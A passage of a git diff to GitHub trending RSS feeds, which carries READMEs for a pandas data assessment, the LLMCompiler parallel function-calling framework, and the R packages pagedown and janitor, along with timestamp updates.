<p>Create a python function <code>filter_routes</code> that takes the <code>dataset-1.csv</code> as a DataFrame. The function should return the sorted list of values of column <code>route</code> for which the average of values of <code>truck</code> column is greater than 7.</p>
<h2>Question 5: Matrix Value Modification</h2>
<p>Create a Python function named <code>multiply_matrix</code> that takes the resulting DataFrame from Question 1, as input and modifies each value according to the following logic:</p>
<ul>
<li>If a value in the DataFrame is greater than 20, multiply those values by 0.75,</li>
<li>If a value is 20 or less, multiply those values by 1.25.</li>
</ul>
<p>The function should return the modified DataFrame which has values rounded to 1 decimal place.</p>
<p>Sample result dataframe:<br> <img src="https://raw.githubusercontent.com/mapup/MapUp-Data-Assessment-F/main/readme_images/task1-q5.png" alt="Task 1 Question 5"></p>
<h2>Question 6: Time Check</h2>
<p>You are given a dataset, <code>dataset-2.csv</code>, containing columns <code>id</code>, <code>id_2</code>, and timestamp (<code>startDay</code>, <code>startTime</code>, <code>endDay</code>, <code>endTime</code>). The goal is to verify the completeness of the time data by checking whether the timestamps for each unique (<code>id</code>, <code>id_2</code>) pair cover a full 24-hour period (from 12:00:00 AM to 11:59:59 PM) and span all 7 days of the week (from Monday to Sunday).</p>
<p>Create a function that accepts <code>dataset-2.csv</code> as a DataFrame and returns a boolean series that indicates if each (<code>id</code>, <code>id_2</code>) pair has incorrect timestamps. The boolean series must have multi-index (<code>id</code>, <code>id_2</code>).</p>
<h1>Python Task 2</h1>
<h2>Question 1: Distance Matrix Calculation</h2>
<p>Create a function named <code>calculate_distance_matrix</code> that takes the <code>dataset-3.csv</code> as input and generates a DataFrame representing distances between IDs.</p>
<p>The resulting DataFrame should have cumulative distances along known routes, with diagonal values set to 0. If distances between toll locations A to B and B to C are known, then the distance from A to C should be the sum of these distances. Ensure the matrix is symmetric, accounting for bidirectional distances between toll locations (i.e. A to B is equal to B to A).</p>
<p>Sample result dataframe:<br> <img src="https://raw.githubusercontent.com/mapup/MapUp-Data-Assessment-F/main/readme_images/task2-q1.png" alt="Task 2 Question 1"></p>
<h2>Question 2: Unroll Distance Matrix</h2>
<p>Create a function <code>unroll_distance_matrix</code> that takes the DataFrame created in Question 1. The resulting DataFrame should have three columns: columns <code>id_start</code>, <code>id_end</code>, and <code>distance</code>.</p>
<p>All the combinations except for same <code>id_start</code> to <code>id_end</code> must be present in the rows with their distance values from the input DataFrame.</p>
<h2>Question 3: Finding IDs within Percentage Threshold</h2>
<p>Create a function <code>find_ids_within_ten_percentage_threshold</code> that takes the DataFrame created in Question 2 and a reference value from the <code>id_start</code> column as an integer.</p>
<p>Calculate average distance for the reference value given as an input and return a sorted list of values from <code>id_start</code> column which lie within 10% (including ceiling and floor) of the reference value's average.</p>
<h2>Question 4: Calculate Toll Rate</h2>
<p>Create a function <code>calculate_toll_rate</code> that takes the DataFrame created in Question 2 as input and calculates toll rates based on vehicle types.</p>
<p>The resulting DataFrame should add 5 columns to the input DataFrame: <code>moto</code>, <code>car</code>, <code>rv</code>, <code>bus</code>, and <code>truck</code> with their respective rate coefficients. The toll rates should be calculated by multiplying the distance with the given rate coefficients for each vehicle type:</p>
<ul>
<li>0.8 for <code>moto</code></li>
<li>1.2 for <code>car</code></li>
<li>1.5 for <code>rv</code></li>
<li>2.2 for <code>bus</code></li>
<li>3.6 for <code>truck</code></li>
</ul>
<p>Sample result dataframe:<br> <img src="https://raw.githubusercontent.com/mapup/MapUp-Data-Assessment-F/main/readme_images/task2-q4.png" alt="Task 2 Question 4"></p>
<h2>Question 5: Calculate Time-Based Toll Rates</h2>
<p>Create a function named <code>calculate_time_based_toll_rates</code> that takes the DataFrame created in Question 4 as input and calculates toll rates for different time intervals within a day.</p>
<p>The resulting DataFrame should have these five columns added to the input: start_day, start_time, end_day, and end_time.</p>
<ul>
<li><code>start_day</code>, <code>end_day</code> must be strings with day values (from Monday to Sunday in proper case)</li>
<li><code>start_time</code> and <code>end_time</code> must be of type datetime.time() with the values from time range given below.</li>
</ul>
<p>Modify the values of vehicle columns according to the following time ranges:</p>
<p><strong>Weekdays (Monday - Friday):</strong></p>
<ul>
<li>From 00:00:00 to 10:00:00: Apply a discount factor of 0.8</li>
<li>From 10:00:00 to 18:00:00: Apply a discount factor of 1.2</li>
<li>From 18:00:00 to 23:59:59: Apply a discount factor of 0.8</li>
</ul>
<p><strong>Weekends (Saturday and Sunday):</strong></p>
<ul>
<li>Apply a constant discount factor of 0.7 for all times.</li>
</ul>
<p>For each unique (<code>id_start</code>, <code>id_end</code>) pair, cover a full 24-hour period (from 12:00:00 AM to 11:59:59 PM) and span all 7 days of the week (from Monday to Sunday).</p>
<p>Sample result dataframe:<br> <img src="https://raw.githubusercontent.com/mapup/MapUp-Data-Assessment-F/main/readme_images/task2-q5.png" alt="Task 2 Question 5"></p>
+ SqueezeAILab/LLMCompiler
+ 2023-12-13T01:42:12Z
+ tag:github.com,2023-12-13:/SqueezeAILab/LLMCompiler
+
+ <p>LLMCompiler: An LLM Compiler for Parallel Function Calling</p><hr><h1>LLMCompiler: An LLM Compiler for Parallel Function Calling [<a href="https://arxiv.org/abs/2312.04511">Paper</a>]</h1>
<p><img src="https://raw.githubusercontent.com/SqueezeAILab/LLMCompiler/main/figs/thumbnail.png" alt="Thumbnail"></p>
<p><strong>LLMCompiler</strong> is a framework that enables an <em>efficient and effective orchestration of parallel function calling</em> with LLMs, including both open-source and close-source models, by automatically identifying which tasks can be performed in parallel and which ones are interdependent.</p>
<p><strong>TL;DR:</strong> The reasoning capabilities of LLMs enable them to execute multiple function calls, using user-provided functions to overcome their inherent limitations (e.g. knowledge cutoffs, poor arithmetic skills, or lack of access to private data). While multi-function calling allows them to tackle more complex problems, current methods often require sequential reasoning and acting for each function which can result in high latency, cost, and sometimes inaccurate behavior. LLMCompiler addresses this by decomposing problems into multiple tasks that can be executed in parallel, thereby efficiently orchestrating multi-function calling. With LLMCompiler, the user specifies the tools along with optional in-context examples, and <strong>LLMCompiler automatically computes an optimized orchestration for the function calls</strong>. LLMCompiler can be used with open-source models such as LLaMA, as well as OpenAI’s GPT models. Across a range of tasks that exhibit different patterns of parallel function calling, LLMCompiler consistently demonstrated <strong>latency speedup, cost saving, and accuracy improvement</strong>. For more details, please check out our <a href="https://arxiv.org/abs/2312.04511">paper</a>.</p>
<hr>
<h2>Installation</h2>
<ol>
<li>Create a conda environment and install the dependencies</li>
</ol>
<pre><code>conda create --name llmcompiler python=3.10 -y
conda activate llmcompiler
</code></pre>
<ol start="2">
<li>Clone and install the dependencies</li>
</ol>
<pre><code>git clone https://github.com/SqueezeAILab/LLMCompiler
cd LLMCompiler
pip install -r requirements.txt
</code></pre>
<hr>
<h2>Basic Runs</h2>
<p>To reproduce the evaluation results in the paper, run the following command:</p>
<pre><code>python run_llm_compiler.py --api_key {openai-api-key} --benchmark {benchmark-name} --store {store-path} [--logging] [--stream]
</code></pre>
<ul>
<li><code>--api_key</code>: OpenAI API Key</li>
<li><code>--benchmark</code>: Benchmark name. Use <code>hotpotqa</code>, <code>movie</code>, and <code>parallelqa</code> to evaluate LLMCompiler on the HotpotQA, Movie Recommendation, and ParallelQA benchmarks, respectively.</li>
<li><code>--store</code>: Path to save the result. Question, true label, prediction, and latency per example will be stored in a JSON format.</li>
<li><code>--logging</code>: (Optional) Enables logging.</li>
<li><code>--stream</code>: (Optional, Recommended) Enables streaming. It improves latency by streaming out tasks from the Planner to the Task Fetching Unit and Executor immediately after their generation, rather than blocking the Executor until all the tasks are generated from the Planner.</li>
</ul>
<p>After the run is over, you can get the summary of the results by running the following command:</p>
<pre><code>python evaluate_results.py --file {store-path}
</code></pre>
<hr>
<h2>Adding Your Custom Benchmark</h2>
<p>To use LLMCompiler on your custom benchmarks or use cases, you only need to provide the functions and their descriptions, as well as example prompts. Please refer to <code>configs/hotpotqa</code>, <code>configs/movie</code>, and <code>configs/parallelqa</code> as examples.</p>
<ul>
<li><code>gpt_prompts.py</code>: Defines in-context example prompts</li>
<li><code>tools.py</code>: Defines functions (i.e. tools) to use, and their descriptions (i.e. instructions and arguments)</li>
</ul>
<hr>
<h2>Roadmap</h2>
<p>We are planning to update the following features soon:</p>
<ul>
<li>Support for open-source models (e.g. LLaMA-2)</li>
<li>Baseline methods we used in the paper</li>
<li>Tree-of-Thoughts evaluation we used in the paper</li>
</ul>
<hr>
<h2>Citation</h2>
<p>LLMCompiler has been developed as part of the following paper. We appreciate it if you would please cite the following paper if you found the library useful for your work:</p>
<pre><code>@article{kim2023llmcompiler,
title={An LLM Compiler for Parallel Function Calling},
author={Kim, Sehoon and Moon, Suhong and Tabrizi, Ryan and Lee, Nicholas and Mahoney, Michael and Keutzer, Kurt and Gholami, Amir},
journal={arXiv},
year={2023}
}
</code></pre>
\ No newline at end of file
diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml
index b0d4faec334..59320766b75 100644
--- a/q%23/daily/index.xml
+++ b/q%23/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Q# Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:42Z
+ 2023-12-13T01:42:27Z
Daily Trending of Q# in GitHub
\ No newline at end of file
diff --git a/q/daily/index.xml b/q/daily/index.xml
index 6c55538a30c..6de0cbcad47 100644
--- a/q/daily/index.xml
+++ b/q/daily/index.xml
@@ -1,7 +1,7 @@
GitHub q Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:44Z
+ 2023-12-13T01:42:29Z
Daily Trending of q in GitHub
\ No newline at end of file
diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml
index 3ca1bb7977b..a1c1bdce7ab 100644
--- a/qmake/daily/index.xml
+++ b/qmake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub QMake Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:43Z
+ 2023-12-13T01:42:28Z
Daily Trending of QMake in GitHub
\ No newline at end of file
diff --git a/qml/daily/index.xml b/qml/daily/index.xml
index a914e4fc404..756a9851968 100644
--- a/qml/daily/index.xml
+++ b/qml/daily/index.xml
@@ -1,14 +1,14 @@
GitHub QML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:47Z
+ 2023-12-13T01:42:32Z
Daily Trending of QML in GitHub
- BeamMW/beam-ui
- 2023-12-12T01:57:47Z
- tag:github.com,2023-12-12:/BeamMW/beam-ui
-
- <p>Beam Desktop Wallet (Win / Mac / Linux)</p><hr>
+ deroproject/dero_gui_wallet
+ 2023-12-13T01:42:32Z
+ tag:github.com,2023-12-13:/deroproject/dero_gui_wallet
+
+ <p>DERO GUI wallet in Golang with QT bindings.</p><hr>
\ No newline at end of file
diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml
index 378f101054c..4d3c320f854 100644
--- a/qt-script/daily/index.xml
+++ b/qt-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Qt Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:46Z
+ 2023-12-13T01:42:31Z
Daily Trending of Qt Script in GitHub
\ No newline at end of file
diff --git a/quake/daily/index.xml b/quake/daily/index.xml
index fac64457642..fdab51828cd 100644
--- a/quake/daily/index.xml
+++ b/quake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Quake Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:45Z
+ 2023-12-13T01:42:30Z
Daily Trending of Quake in GitHub
\ No newline at end of file
diff --git a/r/daily/index.xml b/r/daily/index.xml
index 4ca678cbe45..6f09f579894 100644
--- a/r/daily/index.xml
+++ b/r/daily/index.xml
@@ -1,14 +1,21 @@
GitHub R Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:49Z
+ 2023-12-13T01:42:35Z
Daily Trending of R in GitHub
- rstudio/pagedown
- 2023-12-12T01:57:49Z
- tag:github.com,2023-12-12:/rstudio/pagedown
-
- <p>Paginate the HTML Output of R Markdown with CSS for Print</p><hr><h1>pagedown <img src="https://raw.githubusercontent.com/rstudio/pagedown/main/man/figures/logo.png" align="right" height="138"></h1>
<!-- badges: start -->
<p><a href="https://github.com/rstudio/pagedown/actions/workflows/R-CMD-check.yaml"><img src="https://github.com/rstudio/pagedown/actions/workflows/R-CMD-check.yaml/badge.svg?sanitize=true" alt="R-CMD-check"></a> <a href="https://cran.r-project.org/package=pagedown"><img src="https://cranlogs.r-pkg.org/badges/pagedown" alt="Downloads from the RStudio CRAN mirror"></a></p>
<!-- badges: end -->
<p>Paginate the HTML Output of R Markdown with CSS for Print. You only need a modern web browser (e.g., Google Chrome or Microsoft Edge) to generate PDF. No need to install LaTeX to get beautiful PDFs.</p>
<p>This R package stands on the shoulders of two giants to support typesetting with CSS for R Markdown documents: <a href="https://pagedjs.org">Paged.js</a> and <a href="https://github.com/RelaxedJS/ReLaXed">ReLaXed</a> (we only borrowed some CSS from the ReLaXed repo and didn't really use the Node package).</p>
<p>You may install this package from Github:</p>
<pre><code class="language-r"># install.packages("pak")
pak::pak('rstudio/pagedown')
</code></pre>
<p>This package requires a recent version of Pandoc (>= 2.2.3). If you use RStudio, you are recommended to install the <a href="https://posit.co/download/rstudio-desktop/">latest version</a> (>= 1.2.1335), which has bundled Pandoc 2.x, otherwise you need to install Pandoc separately.</p>
<p>Below are some existing R Markdown output formats and examples.</p>
<h2>Paged HTML documents (<code>pagedown::html_paged</code>)</h2>
<p><a href="https://pagedown.rbind.io"><img src="https://user-images.githubusercontent.com/163582/47673682-58b11880-db83-11e8-87fd-b5e753af7288.png" alt="A paged HTML document"></a></p>
<h3>Thesis (<code>pagedown::thesis_paged</code>)</h3>
<p><a href="https://pagedown.rbind.io/thesis-paged/"><img src="https://user-images.githubusercontent.com/19177171/60126180-b129cb80-978d-11e9-8e32-7ba48f303b6f.png" alt="A paged HTML thesis"></a></p>
<h3>Journal of Statistical Software article (<code>pagedown::jss_paged</code>)</h3>
<p><a href="https://pagedown.rbind.io/jss-paged/"><img src="https://user-images.githubusercontent.com/19177171/51005498-5b46cb80-153f-11e9-9026-4b50a9f3d3f1.png" alt="A JSS article"></a></p>
<h2>Resume (<code>pagedown::html_resume</code>)</h2>
<p><a href="https://pagedown.rbind.io/html-resume/"><img src="https://user-images.githubusercontent.com/163582/46879762-7a34a500-ce0c-11e8-87e3-496f3577ff05.png" alt="An HTML resume"></a></p>
<p>You may want to check out <a href="https://github.com/nstrayer/datadrivencv">the <strong>datadrivencv</strong> package</a>, which allows you to build a CV using data from a spreadsheet and <code>pagedown::html_resume</code>.</p>
<h2>Posters</h2>
<h3><code>pagedown::poster_relaxed</code></h3>
<p><a href="https://pagedown.rbind.io/poster-relaxed/"><img src="https://user-images.githubusercontent.com/163582/47672385-e12dba00-db7f-11e8-92de-af94d5bab12f.jpg" alt="A poster of the ReLaXed style"></a></p>
<h3><code>pagedown::poster_jacobs</code></h3>
<p><a href="https://pagedown.rbind.io/poster-jacobs/"><img src="https://user-images.githubusercontent.com/163582/49780277-7b326780-fcd3-11e8-9eb6-69e46292158c.png" alt="A poster of the Jacobs University style"></a></p>
<p>Want more poster styles? You may take a look at <a href="https://github.com/brentthorne/posterdown">Brent Thorne's <strong>posterdown</strong> package</a>.</p>
<h2>Business cards (<code>pagedown::business_card</code>)</h2>
<p><a href="https://pagedown.rbind.io/business-card/"><img src="https://user-images.githubusercontent.com/163582/47741877-68933000-dc49-11e8-94f8-92724b67e9a6.png" alt="A business card"></a></p>
<h2>Letters (<code>pagedown::html_letter</code>)</h2>
<p><a href="https://pagedown.rbind.io/html-letter"><img src="https://user-images.githubusercontent.com/163582/47872372-61e8f200-dddc-11e8-839b-d8e8ef8f51eb.png" alt="A letter in HTML"></a></p>
<h2>Other examples</h2>
<ul>
<li> <p>Nick Strayer's CV: <a href="https://github.com/nstrayer/cv">https://github.com/nstrayer/cv</a> (also includes instructions on how to build your own CV).</p> </li>
<li> <p>"Template of Exec Summaries with pagedown" by Joshua David Barillas: <a href="https://github.com/jdbarillas/executive_summary">https://github.com/jdbarillas/executive_summary</a></p> </li>
<li> <p>Ulrik Lyngs's CVs: <a href="https://ulyngs.github.io/pagedown-cv/">https://ulyngs.github.io/pagedown-cv/</a></p> </li>
<li> <p>Jiena Gu McLellan's CV: <a href="https://github.com/jienagu/Jiena_McLellan_CV">https://github.com/jienagu/Jiena_McLellan_CV</a></p> </li>
<li> <p>Thomas Vroylandt's template for the French Scouts and Guides Association: <a href="https://github.com/tvroylandt/sgdf_pagedown">https://github.com/tvroylandt/sgdf_pagedown</a></p> </li>
<li> <p>Beatriz Milz's CV: <a href="https://beatrizmilz.github.io/resume/resume.html">https://beatrizmilz.github.io/resume/resume.html</a></p> </li>
<li> <p><strong>pagedreport</strong> by Thomas Vroylandt and David Keyes which helps using <strong>pagedown</strong> with some templates proposals: <a href="https://github.com/rfortherestofus/pagedreport">https://github.com/rfortherestofus/pagedreport</a></p> </li>
<li> <p>Jodavid Ferreira's CV (in Portuguese) : <a href="https://jodavid.github.io/cv/">https://jodavid.github.io/cv/</a> (source: <a href="https://github.com/jodavid/cv">https://github.com/jodavid/cv</a>)</p> </li>
</ul>
<h2>Authors and contributors</h2>
<p>The main authors of this package are Yihui Xie (RStudio) and Romain Lesur. Romain has received a grant from the Shuttleworth Foundation for his work on both Paged.js and <strong>pagedown</strong>.</p>
<p><a href="https://www.shuttleworthfoundation.org"><img src="https://user-images.githubusercontent.com/163582/49319242-72ff4e80-f4c1-11e8-89fe-d8749355d261.jpg" alt="Shuttleworth Funded"></a></p>
<p>You can find <a href="https://github.com/rstudio/pagedown/graphs/contributors">the full list of contributors of <strong>pagedown</strong> here</a>. We always welcome new contributions. In particular, if you are familiar with CSS, we'd love to include your contributions of more creative and beautiful CSS stylesheets in this package. It is also very helpful if you don't know CSS but just tell us the creative and beautiful web pages you have seen, since other CSS experts may be able to port them into <strong>pagedown</strong>.</p>
+ sfirke/janitor
+ 2023-12-13T01:42:35Z
+ tag:github.com,2023-12-13:/sfirke/janitor
+
+ <p>simple tools for data cleaning in R</p><hr><h1>janitor <img src="https://raw.githubusercontent.com/sfirke/janitor/main/man/figures/logo_small.png" align="right"></h1>
<blockquote>
<p>Data scientists, according to interviews and expert estimates, spend from 50 percent to 80 percent of their time mired in this more mundane labor of collecting and preparing unruly digital data, before it can be explored for useful nuggets.</p>
<p>– <a href="https://www.nytimes.com/2014/08/18/technology/for-big-data-scientists-hurdle-to-insights-is-janitor-work.html">“For Big-Data Scientists, ‘Janitor Work’ Is Key Hurdle to Insight”</a> <em>(New York Times, 2014)</em></p>
</blockquote>
<hr>
<!-- badges: start -->
<p><a href="https://github.com/sfirke/janitor/actions/workflows/R-CMD-check.yaml"><img src="https://github.com/sfirke/janitor/actions/workflows/R-CMD-check.yaml/badge.svg?sanitize=true" alt="R-CMD-check"></a> <a href="https://app.codecov.io/github/sfirke/janitor?branch=main"><img src="https://img.shields.io/codecov/c/github/sfirke/janitor/main.svg?sanitize=true" alt="Coverage Status"></a> <a href="https://lifecycle.r-lib.org/articles/stages.html#stable"><img src="https://img.shields.io/badge/lifecycle-stable-brightgreen.svg?sanitize=true" alt="lifecycle"></a> <a href="https://cran.r-project.org/package=janitor"><img src="https://www.r-pkg.org/badges/version-ago/janitor" alt="CRAN_Status_Badge"></a> <img src="https://cranlogs.r-pkg.org/badges/janitor" alt="!Monthly Downloads"> <img src="https://cranlogs.r-pkg.org/badges/grand-total/janitor" alt="!Downloads"></p>
<!-- badges: end -->
<p><strong>janitor</strong> has simple functions for examining and cleaning dirty data. It was built with beginning and intermediate R users in mind and is optimized for user-friendliness. Advanced R users can perform many of these tasks already, but with janitor they can do it faster and save their thinking for the fun stuff.</p>
<p>The main janitor functions:</p>
<ul>
<li>perfectly format data.frame column names;</li>
<li>create and format frequency tables of one, two, or three variables - think an improved <code>table()</code>; and</li>
<li>provide other tools for cleaning and examining data.frames.</li>
</ul>
<p>The tabulate-and-report functions approximate popular features of SPSS and Microsoft Excel.</p>
<p>janitor is a <a href="https://cran.r-project.org/package=tidyverse/vignettes/manifesto.html">#tidyverse</a>-oriented package. Specifically, it plays nicely with the <code>%>%</code> pipe and is optimized for cleaning data brought in with the <a href="https://github.com/tidyverse/readr">readr</a> and <a href="https://github.com/tidyverse/readxl">readxl</a> packages.</p>
<h2><i class="fa fa-cog" aria-hidden="true"></i> Installation</h2>
<p>You can install:</p>
<ul>
<li>the most recent officially-released version from CRAN with</li>
</ul>
<pre><code class="language-r">install.packages("janitor")
</code></pre>
<ul>
<li>the latest development version from GitHub with</li>
</ul>
<pre><code class="language-r"># install.packages("remotes")
remotes::install_github("sfirke/janitor")
# or from r-universe
install.packages("janitor", repos = c("https://sfirke.r-universe.dev", "https://cloud.r-project.org"))
</code></pre>
<h2>Using janitor</h2>
<p>A full description of each function, organized by topic, can be found in janitor’s <a href="https://sfirke.github.io/janitor/articles/janitor.html">catalog of functions vignette</a>. There you will find functions not mentioned in this README, like <code>compare_df_cols()</code> which provides a summary of differences in column names and types when given a set of data.frames.</p>
<p>Below are quick examples of how janitor tools are commonly used.</p>
<h3>Cleaning dirty data</h3>
<p>Take this roster of teachers at a fictional American high school, stored in the Microsoft Excel file <a href="https://github.com/sfirke/janitor/raw/main/dirty_data.xlsx">dirty_data.xlsx</a>: <img src="https://raw.githubusercontent.com/sfirke/janitor/main/man/figures/dirty_data.PNG" alt="All kinds of dirty."></p>
<p>Dirtiness includes:</p>
<ul>
<li>A header at the top</li>
<li>Dreadful column names</li>
<li>Rows and columns containing Excel formatting but no data</li>
<li>Dates in two different formats in a single column (MM/DD/YYYY and numbers)</li>
<li>Values spread inconsistently over the “Certification” columns</li>
</ul>
<p>Here’s that data after being read in to R:</p>
<pre><code class="language-r">library(readxl)
library(janitor)
library(dplyr)
library(here)
roster_raw <- read_excel(here("dirty_data.xlsx")) # available at https://github.com/sfirke/janitor
glimpse(roster_raw)
#> Rows: 14
#> Columns: 11
#> $ `Data most recently refreshed on:` <chr> "First Name", "Jason", "Jason", "Alicia", "Ada", "Desus", "Chien-…
#> $ ...2 <chr> "Last Name", "Bourne", "Bourne", "Keys", "Lovelace", "Nice", "Wu"…
#> $ ...3 <chr> "Employee Status", "Teacher", "Teacher", "Teacher", "Teacher", "A…
#> $ `Dec-27 2020` <chr> "Subject", "PE", "Drafting", "Music", NA, "Dean", "Physics", "Che…
#> $ ...5 <chr> "Hire Date", "39690", "43479", "37118", "38572", "42791", "11037"…
#> $ ...6 <chr> "% Allocated", "0.75", "0.25", "1", "1", "1", "0.5", "0.5", NA, "…
#> $ ...7 <chr> "Full time?", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", NA…
#> $ ...8 <chr> "do not edit! --->", NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, …
#> $ ...9 <chr> "Certification", "Physical ed", "Physical ed", "Instr. music", "P…
#> $ ...10 <chr> "Certification", "Theater", "Theater", "Vocal music", "Computers"…
#> $ ...11 <chr> "Active?", "YES", "YES", "YES", "YES", "YES", "YES", "YES", NA, "…
</code></pre>
<p>Now, to clean it up, starting with the column names.</p>
<p>Name cleaning comes in two flavors. <code>make_clean_names()</code> operates on character vectors and can be used during data import:</p>
<pre><code class="language-r">roster_raw_cleaner <- read_excel(here("dirty_data.xlsx"),
skip = 1,
.name_repair = make_clean_names
)
glimpse(roster_raw_cleaner)
#> Rows: 13
#> Columns: 11
#> $ first_name <chr> "Jason", "Jason", "Alicia", "Ada", "Desus", "Chien-Shiung", "Chien-Shiung", NA, "J…
#> $ last_name <chr> "Bourne", "Bourne", "Keys", "Lovelace", "Nice", "Wu", "Wu", NA, "Joyce", "Lamarr",…
#> $ employee_status <chr> "Teacher", "Teacher", "Teacher", "Teacher", "Administration", "Teacher", "Teacher"…
#> $ subject <chr> "PE", "Drafting", "Music", NA, "Dean", "Physics", "Chemistry", NA, "English", "Sci…
#> $ hire_date <dbl> 39690, 43479, 37118, 38572, 42791, 11037, 11037, NA, 36423, 27919, 42221, 34700, 4…
#> $ percent_allocated <dbl> 0.75, 0.25, 1.00, 1.00, 1.00, 0.50, 0.50, NA, 0.50, 0.50, NA, NA, 0.80
#> $ full_time <chr> "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", "Yes", NA, "No", "No", "No", "No", "No"
#> $ do_not_edit <lgl> NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA, NA
#> $ certification <chr> "Physical ed", "Physical ed", "Instr. music", "PENDING", "PENDING", "Science 6-12"…
#> $ certification_2 <chr> "Theater", "Theater", "Vocal music", "Computers", NA, "Physics", "Physics", NA, "E…
#> $ active <chr> "YES", "YES", "YES", "YES", "YES", "YES", "YES", NA, "YES", "YES", "YES", "YES", "…
</code></pre>
<p><code>clean_names()</code> is a convenience version of <code>make_clean_names()</code> that can be used for piped data.frame workflows. The equivalent steps with <code>clean_names()</code> would be:</p>
<pre><code class="language-r">roster_raw <- roster_raw %>%
row_to_names(row_number = 1) %>%
clean_names()
</code></pre>
<p>The data.frame now has clean names. Let’s tidy it up further:</p>
<pre><code class="language-r">roster <- roster_raw %>%
remove_empty(c("rows", "cols")) %>%
remove_constant(na.rm = TRUE, quiet = FALSE) %>% # remove the column of all "Yes" values
mutate(
hire_date = convert_to_date(
hire_date, # handle the mixed-format dates
character_fun = lubridate::mdy
),
cert = dplyr::coalesce(certification, certification_2)
) %>%
select(-certification, -certification_2) # drop unwanted columns
#> Removing 1 constant columns of 10 columns total (Removed: active).
roster
#> # A tibble: 12 × 8
#> first_name last_name employee_status subject hire_date percent_allocated full_time cert
#> <chr> <chr> <chr> <chr> <date> <chr> <chr> <chr>
#> 1 Jason Bourne Teacher PE 2008-08-30 0.75 Yes Physical ed
#> 2 Jason Bourne Teacher Drafting 2019-01-14 0.25 Yes Physical ed
#> 3 Alicia Keys Teacher Music 2001-08-15 1 Yes Instr. music
#> 4 Ada Lovelace Teacher <NA> 2005-08-08 1 Yes PENDING
#> 5 Desus Nice Administration Dean 2017-02-25 1 Yes PENDING
#> 6 Chien-Shiung Wu Teacher Physics 1930-03-20 0.5 Yes Science 6-12
#> 7 Chien-Shiung Wu Teacher Chemistry 1930-03-20 0.5 Yes Science 6-12
#> 8 James Joyce Teacher English 1999-09-20 0.5 No English 6-12
#> 9 Hedy Lamarr Teacher Science 1976-06-08 0.5 No PENDING
#> 10 Carlos Boozer Coach Basketball 2015-08-05 <NA> No Physical ed
#> 11 Young Boozer Coach <NA> 1995-01-01 <NA> No Political sci.
#> 12 Micheal Larsen Teacher English 2009-09-15 0.8 No Vocal music
</code></pre>
<h3>Examining dirty data</h3>
<h4>Finding duplicates</h4>
<p>Use <code>get_dupes()</code> to identify and examine duplicate records during data cleaning. Let’s see if any teachers are listed more than once:</p>
<pre><code class="language-r">roster %>% get_dupes(contains("name"))
#> # A tibble: 4 × 9
#> first_name last_name dupe_count employee_status subject hire_date percent_allocated full_time cert
#> <chr> <chr> <int> <chr> <chr> <date> <chr> <chr> <chr>
#> 1 Chien-Shiung Wu 2 Teacher Physics 1930-03-20 0.5 Yes Science …
#> 2 Chien-Shiung Wu 2 Teacher Chemistry 1930-03-20 0.5 Yes Science …
#> 3 Jason Bourne 2 Teacher PE 2008-08-30 0.75 Yes Physical…
#> 4 Jason Bourne 2 Teacher Drafting 2019-01-14 0.25 Yes Physical…
</code></pre>
<p>Yes, some teachers appear twice. We ought to address this before counting employees.</p>
<h4>Tabulating tools</h4>
<p>A variable (or combinations of two or three variables) can be tabulated with <code>tabyl()</code>. The resulting data.frame can be tweaked and formatted with the suite of <code>adorn_</code> functions for quick analysis and printing of pretty results in a report. <code>adorn_</code> functions can be helpful with non-tabyls, too.</p>
<h4><code>tabyl()</code></h4>
<p>Like <code>table()</code>, but pipe-able, data.frame-based, and fully featured.</p>
<p><code>tabyl()</code> can be called two ways:</p>
<ul>
<li>On a vector, when tabulating a single variable: <code>tabyl(roster$subject)</code></li>
<li>On a data.frame, specifying 1, 2, or 3 variable names to tabulate: <code>roster %>% tabyl(subject, employee_status)</code>.
<ul>
<li>Here the data.frame is passed in with the <code>%>%</code> pipe; this allows <code>tabyl</code> to be used in an analysis pipeline</li>
</ul> </li>
</ul>
<p>One variable:</p>
<pre><code class="language-r">roster %>%
tabyl(subject)
#> subject n percent valid_percent
#> Basketball 1 0.08333333 0.1
#> Chemistry 1 0.08333333 0.1
#> Dean 1 0.08333333 0.1
#> Drafting 1 0.08333333 0.1
#> English 2 0.16666667 0.2
#> Music 1 0.08333333 0.1
#> PE 1 0.08333333 0.1
#> Physics 1 0.08333333 0.1
#> Science 1 0.08333333 0.1
#> <NA> 2 0.16666667 NA
</code></pre>
<p>Two variables:</p>
<pre><code class="language-r">roster %>%
filter(hire_date > as.Date("1950-01-01")) %>%
tabyl(employee_status, full_time)
#> employee_status No Yes
#> Administration 0 1
#> Coach 2 0
#> Teacher 3 4
</code></pre>
<p>Three variables:</p>
<pre><code class="language-r">roster %>%
tabyl(full_time, subject, employee_status, show_missing_levels = FALSE)
#> $Administration
#> full_time Dean
#> Yes 1
#>
#> $Coach
#> full_time Basketball NA_
#> No 1 1
#>
#> $Teacher
#> full_time Chemistry Drafting English Music PE Physics Science NA_
#> No 0 0 2 0 0 0 1 0
#> Yes 1 1 0 1 1 1 0 1
</code></pre>
<h4>Adorning tabyls</h4>
<p>The <code>adorn_</code> functions dress up the results of these tabulation calls for fast, basic reporting. Here are some of the functions that augment a summary table for reporting:</p>
<pre><code class="language-r">roster %>%
tabyl(employee_status, full_time) %>%
adorn_totals("row") %>%
adorn_percentages("row") %>%
adorn_pct_formatting() %>%
adorn_ns() %>%
adorn_title("combined")
#> employee_status/full_time No Yes
#> Administration 0.0% (0) 100.0% (1)
